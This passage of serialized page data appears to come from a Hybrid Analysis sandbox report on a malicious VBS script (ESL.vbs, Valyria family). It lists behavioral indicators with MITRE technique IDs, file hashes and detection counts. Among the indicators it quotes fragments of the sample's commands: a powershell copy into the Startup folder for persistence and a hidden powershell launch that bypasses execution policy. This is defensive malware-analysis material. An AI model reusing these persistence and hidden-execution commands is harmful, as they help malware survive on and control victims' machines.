Awareness","description":"file/memory contains long string with (Indicator: \"set \"; File: \"ESL.vbs.bin\")\n Found string \"set oArgs = wscript.Arguments\" (Indicator: \"set \"; File: \"ESL.vbs.bin\")","id":"string-326","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve environment variable settings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at FC800000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at FC2F0000","id":"module-9","level":"informative","mitre_attack_id":"T1027","name":"Loads the Bcrypt module DLL","origin":"Loaded Module","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"TCP traffic to 104.21.45.138 on port 443 is sent without HTTP header","id":"network-23","level":"suspicious","mitre_attack_id":"T1071.001","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','C:\\Use\" - (UID: 00000000-00003484)\n \"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -command $Codigo = 'J\" - (UID: 00000000-00003484)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"ping 127.0.0.1 -n 5\" - (UID: 00000000-00001844)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Mi\" - (UID: 00000000-00001844)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -windowstyle hidden -executionpolicy bypss -NoProfile -command \"$imag\" - (UID: 00000000-00001544)","id":"api-128","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to create a process","origin":"API Call","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF103707.TMP\"\n \"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1052a2.TMP\"\n \"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF106f07.TMP\"","id":"api-163","level":"informative","mitre_attack_id":"T1036.007","name":"Renames files with double extension (often done by ransomware)","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" trying to write a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs\"\n \"powershell.exe\" trying to write a file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs\"","id":"api-210","level":"informative","mitre_attack_id":"T1547.001","name":"Creates VBS file in Windows Startup folder","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$44","id":"target-110","level":"suspicious","mitre_attack_id":"T1059.001","name":"Executes powershell with commandline","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"powershell.exe\")","id":"string-106","level":"informative","mitre_attack_id":"T1140","name":"Contains ability to decode base64 data","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"powershell.exe\")","id":"string-187","level":"informative","mitre_attack_id":"T1059.001","name":"Observed Powershell command strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$45","id":"target-174","level":"suspicious","mitre_attack_id":"T1105","name":"References URL in command line","origin":"Monitored Target","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\jd1zc8ksezrsqu1rdft7.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ wldy.vbs\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\snbb4a2j7poyf9nt5378.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\2gccvnz2pp8em6fbgka2.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\77ec63bda74bd0d0e0426dc8f8008506\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\cab870a.tmp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\tar870b.tmp\"","id":"api-242","level":"informative","name":"Writes files","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"\"powershell.exe\" called \"WinHttpConnect\" to server \"ctldl.windowsupdate.com\" on port 80 (UID: 00000000-00002724)","id":"api-187","level":"informative","mitre_attack_id":"T1071.001","name":"Calls an API typically used to communicate with HTTP server","origin":"API Call","relevance":2,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')\"\" (Indicator: \"ping 127.0.0.1\"; File: \"cmd.exe\")","id":"string-573","level":"informative","mitre_attack_id":"T1016.001","name":"Contains ability to check internet connectivity","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"file/memory contains long string with (Indicator: \"base64\"; File: \"00000000-00002724\")\n file/memory contains long string with (Indicator: \"base64\"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"powershell.exe\")","id":"string-57","level":"informative","mitre_attack_id":"T1027","name":"Contains CRYPTO related strings","origin":"File/Memory","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\ESL.vbs\"\" (UID: 00000000-00003484)","id":"target-17","level":"suspicious","mitre_attack_id":"T1059.005","name":"Executes a VBS file","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$46","id":"api-162","level":"informative","mitre_attack_id":"T1036","name":"Renames files","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"CopyFileW\" to copy C:\\ESL.vbs to new location %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs (UID: 00000000-00002164)","id":"api-123","level":"informative","mitre_attack_id":"T1005","name":"Calls an API typically used to copy file from one location to another","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$47","id":"string-625","level":"informative","mitre_attack_id":"T1083","name":"References Windows filepaths for DLLs (possible dropped files)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" called \"SetFileTime\" on file C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar870B.tmp (UID: 00000000-00002724)","id":"api-205","level":"informative","mitre_attack_id":"T1070.006","name":"Calls an API typically used to set the date and time of the file","origin":"API Call","relevance":2,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" wrote to file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs\"\n \"powershell.exe\" wrote 10880 bytes to file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs\": 200020002000200020002000200020002000200020002000200020002000200020007b000d000a002700200020002000200020002000200020002000200020002000200020002000200020002000200020002000740078007400500065007300710075006900730061002e00560069007300690062006c00650020003d002000 ...","id":"api-90","level":"informative","mitre_attack_id":"T1547.001","name":"Writes a file to the startup folder","origin":"API Call","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"\"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"30f6240000000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"30d7270000000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"d088380000000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"b0f8cf0200000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}","id":"api-228","level":"informative","mitre_attack_id":"T1027","name":"Calls an API typically used to acquire handle to a key container within a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","id":"registry-26","level":"informative","mitre_attack_id":"T1614.001","name":"Reads the windows installation language","origin":"Registry Access","relevance":2,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows indicators which shows data encoded. Matched sigs: Ability to hide a payload in the commandline","id":"summary-30","level":"suspicious","mitre_attack_id":"T1132","name":"Shows ability to use data encoding technique","origin":"Indicator Combinations","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: Contains ability to decode base64 data","id":"summary-32","level":"informative","mitre_attack_id":"T1140","name":"Shows ability to deobfuscate/decode files or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"\n \"Global\\CLR_PerfMon_WrapMutex\"\n \"_SHuassist.mtx\"","id":"mutant-0","level":"informative","name":"Creates mutants","origin":"Created Mutant","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at E7E80000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at E74E0000","id":"module-3","level":"informative","mitre_attack_id":"T1129","name":"Loads the .NET runtime environment","origin":"Loaded Module","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$48","id":"target-25","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002164)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001544)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002724)","id":"api-111","level":"informative","mitre_attack_id":"T1134","name":"Calls an API typically used to enable or disable privileges in the specified access token","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Security","description":"\"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","id":"registry-27","level":"informative","mitre_attack_id":"T1112","name":"Modifies proxy settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00002164)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00001544)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00002724)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\.net clr networking\" - (UID: 00000000-00002724)","id":"api-144","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to open an existing named mutex object","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$49","id":"registry-17","level":"informative","mitre_attack_id":"T1112","name":"Accesses System Certificates Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$4a","id":"api-22","level":"informative","mitre_attack_id":"T1574.002","name":"Fails to load modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$4b","id":"registry-177","level":"informative","mitre_attack_id":"T1012","name":"Opens registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63174 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002724]\n \"Cab870A.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63174 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%TEMP%\\Cab870A.tmp]- [targetUID: 00000000-00002724]","id":"binary-5","level":"informative","mitre_attack_id":"T1560","name":"Drops cabinet archive files","origin":"Binary File","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]}],"stats":{"attributions":{"campaigns_count":0,"cves_count":0,"malware_families_count":1,"threat_actors_count":0,"threat_types_count":0},"av":{"malicious_count":4,"suspicious_count":0,"total_engines":26},"mitre_attacks":{"total":48},"rule_matches":{"sigma_count":0,"suricata_count":0,"yara_count":0},"sandbox_signatures":{"informative_count":116,"malicious_count":2,"suspicious_count":14,"total":132}},"summary":{"score":100,"tags":null,"verdict":"malicious"}},"metadata":{"file_info":{"file_name":"ESL.vbs","file_size":273024,"file_type":["script","vbs"],"file_type_id":"vbs"},"hashes":{"imphash":"Unknown","md5":"28b3fe92d68e8091ad4044c68e4c80d9","sha1":"cd741ade0d9c73f1377b12dbe2e6315b84ba1193","sha256":"f2688472718a5b0be3b64d7eb647620e18bf5ced25c01bba5e02c54cb9fb07bf","sha512":"5e6fb8481e99773af7e035b529a492bc31d15dc32c4e676c4a08b7ecb7783def09527b5384064d2b03f1c2fa542a932292a9bd2780b70ea4c13676961df667cf","ssdeep":"3072:7jggu69uoByrswI0EAELwEUE+m4E7EvwvXdlPQQJLQQFQ5f35q4HWXFBNAwJrN93:7jgguBVFRdZ1Q","ssdeep_chunks":["3072:7jggu69","3072:jggu69u","3072:ggu69uo","3072:gu69uoB","3072:u69uoBy","3072:69uoByr","3072:9uoByrs","3072:uoByrsw","3072:oByrswI","3072:ByrswI0","3072:yrswI0E","3072:rswI0EA","3072:swI0EAE","3072:wI0EAEL","3072:I0EAELw","3072:0EAELwE","3072:EAELwEU","3072:AELwEUE","3072:ELwEUE+","3072:LwEUE+m","3072:wEUE+m4","3072:EUE+m4E","3072:UE+m4E7","3072:E+m4E7E","3072:+m4E7Ev","3072:m4E7Evw","3072:4E7Evwv","3072:E7EvwvX","3072:7EvwvXd","3072:EvwvXdl","3072:vwvXdlP","3072:wvXdlPQ","3072:vXdlPQQ","3072:XdlPQQJ","3072:dlPQQJL","3072:lPQQJLQ","3072:PQQJLQQ","3072:QQJLQQF","3072:QJLQQFQ","3072:JLQQFQ5","3072:LQQFQ5f","3072:QQFQ5f3","3072:QFQ5f35","3072:FQ5f35q","3072:Q5f35q4","3072:5f35q4H","3072:f35q4HW","3072:35q4HWX","3072:5q4HWXF","3072:q4HWXFB","3072:4HWXFBN","3072:HWXFBNA","3072:WXFBNAw","3072:XFBNAwJ","3072:FBNAwJr","3072:BNAwJrN","3072:NAwJrN9","3072:AwJrN93","6144:7jggu69","6144:jggu69u","6144:ggu69uo","6144:gu69uoB","6144:u69uoBy","6144:69uoByr","6144:9uoByrs","6144:uoByrsw","6144:oByrswI","6144:ByrswI0","6144:yrswI0E","6144:rswI0EA","6144:swI0EAE","6144:wI0EAEL","6144:I0EAELw","6144:0EAELwE","6144:EAELwEU","6144:AELwEUE","6144:ELwEUE+","6144:LwEUE+m","6144:wEUE+m4","6144:EUE+m4E","6144:UE+m4E7","6144:E+m4E7E","6144:+m4E7Ev","6144:m4E7Evw","6144:4E7Evwv","6144:E7EvwvX","6144:7EvwvXd","6144:EvwvXdl","6144:vwvXdlP","6144:wvXdlPQ","6144:vXdlPQQ","6144:XdlPQQJ","6144:dlPQQJL","6144:lPQQJLQ","6144:PQQJLQQ","6144:QQJLQQF","6144:QJLQQFQ","6144:JLQQFQ5","6144:LQQFQ5f","6144:QQFQ5f3","6144:QFQ5f35","6144:FQ5f35q","6144:Q5f35q4","6144:5f35q4H","6144:f35q4HW","6144:35q4HWX","6144:5q4HWXF","6144:q4HWXFB","6144:4HWXFBN","6144:HWXFBNA","6144:WXFBNAw","6144:XFBNAwJ","6144:FBNAwJr","6144:BNAwJrN","6144:NAwJrN9","6144:AwJrN93","3072:7jgguBV","3072:jgguBVF","3072:gguBVFR","3072:guBVFRd","3072:uBVFRdZ","3072:BVFRdZ1","3072:VFRdZ1Q"]},"submissions":{"first_seen":1692884734000,"last_multi_scan":1692884734000,"last_seen":1692884734000}},"overall_status":"SUCCESS","report_ids":{"sandbox_job_ids":["64e75efeea7fccc5ca0e0677"]},"schema_version":"1.0.9","sha256":"f2688472718a5b0be3b64d7eb647620e18bf5ced25c01bba5e02c54cb9fb07bf","threat_score":100,"unified_at":"2026-09-16T18:58:32.783Z","unified_at_epoch_ms":1789585112783,"verdict":"malicious"}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious Valyria Sample f2688472718a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample f2688472718a…. Malware family: Valyria. Threat score 100/100. 4/26 AV engines flagged this file. 2 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/f2688472718a5b0be3b64d7eb647620e18bf5ced25c01bba5e02c54cb9fb07bf"}],["$","meta","4",{"property":"og:title","content":"Malicious Valyria Sample f2688472718a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample f2688472718a…. Malware family: Valyria. Threat score 100/100. 4/26 AV engines flagged this file. 2 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/f2688472718a5b0be3b64d7eb647620e18bf5ced25c01bba5e02c54cb9fb07bf"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Valyria Sample f2688472718a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample f2688472718a…. Malware family: Valyria. Threat score 100/100. 4/26 AV engines flagged this file. 2 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4c","11",{}]]